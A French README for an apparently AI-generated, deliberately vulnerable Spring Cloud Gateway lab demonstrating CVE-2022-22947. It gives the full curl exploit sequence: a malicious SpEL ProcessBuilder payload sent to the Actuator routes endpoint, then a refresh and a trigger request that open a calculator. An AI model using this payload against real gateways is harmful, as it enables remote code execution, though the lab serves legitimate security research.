
Une application de vérification de vulnérabilité générée par IA
Il s'agit d'une application Spring Cloud Gateway spécialement conçue pour démontrer et valider la vulnérabilité CVE-2022-22947. Cette application utilise une version vulnérable de Spring Cloud Gateway et permet l'exécution de code arbitraire via le point de terminaison Actuator.
CVE-2022-22947 est une vulnérabilité d'exécution de code à distance dans Spring Cloud Gateway. Un attaquant peut exécuter du code arbitraire en ajoutant dynamiquement des routes contenant des expressions SpEL malveillantes via le point de terminaison Actuator.
mvn spring-boot:run
L'application démarrera sur http://localhost:8080.
Envoyez une requête POST au point de terminaison /actuator/gateway/routes/test pour ajouter une route contenant une expression SpEL malveillante :
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Envoyez une requête POST au point de terminaison /actuator/gateway/refresh pour actualiser les routes :
curl -X POST http://localhost:8080/actuator/gateway/refresh
Accédez à la route malveillante pour déclencher l'exécution du code :
curl http://localhost:8080/test
Après une exploitation réussie de la vulnérabilité, l'application Calculatrice de macOS s'ouvrira.
Point de terminaison : POST /actuator/gateway/routes/test
En-tête de requête :
Content-Type: application/json
Corps de la requête :
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Point de terminaison : POST /actuator/gateway/refresh
Point de terminaison : GET /test
Cette vulnérabilité permet à un attaquant d'ajouter dynamiquement des routes via le point de terminaison Actuator et d'exécuter du code arbitraire en utilisant des expressions SpEL dans les filtres de route. Le cœur du problème réside dans le traitement inapproprié des expressions SpEL dans la configuration des routes par Spring Cloud Gateway.
⚠️ Avertissement de sécurité : Cette application est destinée uniquement à des fins éducatives et de recherche en sécurité. Ne l'utilisez pas et ne la déployez pas dans un environnement de production.
⚠️ Mention légale : Lorsque vous utilisez cette application pour tester des vulnérabilités, assurez-vous de disposer des autorisations appropriées. Les tests non autorisés peuvent violer les lois et réglementations.